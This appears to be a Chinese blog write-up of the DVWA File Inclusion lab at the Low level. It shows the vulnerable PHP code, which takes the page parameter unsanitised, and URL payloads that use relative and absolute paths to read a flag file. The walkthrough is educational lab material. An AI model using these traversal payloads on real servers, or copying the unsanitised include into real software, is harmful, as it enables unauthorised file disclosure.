File Inclusion(文件包含)-DVWA

@ZZHow(ZZHow1024)

一、Low 级(基本没有做防护或者只是最简单的防护)

含义:编写的代码 “引用”其他文件的代码!

思路:利用“引用”打开正常看不见的文件

实操:

1.先随便试试

  • 点击 [file1.php] 接着点击 [file2.php] 再点击 [file3.php]
  • 观察URL的变化。
    • http://xxx.xxx.xxx.xxx:8000/vulnerabilities/fi/?page=file1.php
    • http://xxx.xxx.xxx.xxx:8000/vulnerabilities/fi/?page=file2.php
    • http://xxx.xxx.xxx.xxx:8000/vulnerabilities/fi/?page=file3.php

2.分析URL和Source

  • URL:最后的page= 的内容在变化。
  • Source:
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>
  • 证明三次分别引用了file1.php,file2.php和file3.php
  • 可以通过file=后的参数打开文件。

3.利用file=后的参数打开flag

  • ../../hackable/flags/fi.php(相对路径)填入page=后
    • http://xxx.xxx.xxx.xxx:8000/vulnerabilities/fi/?page=…/…/hackable/flags/fi.php
  • 按下Enter。

1

打开成功!

其他示例:

  • /var/www/html/hackable/flags/fi.php(绝对路径)填入page=后
    • http://xxx.xxx.xxx.xxx:8000/vulnerabilities/fi/?page=/var/www/html/hackable/flags/fi.php
  • 按下Enter。
  • 再换其他文件试试

都能打开成功!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值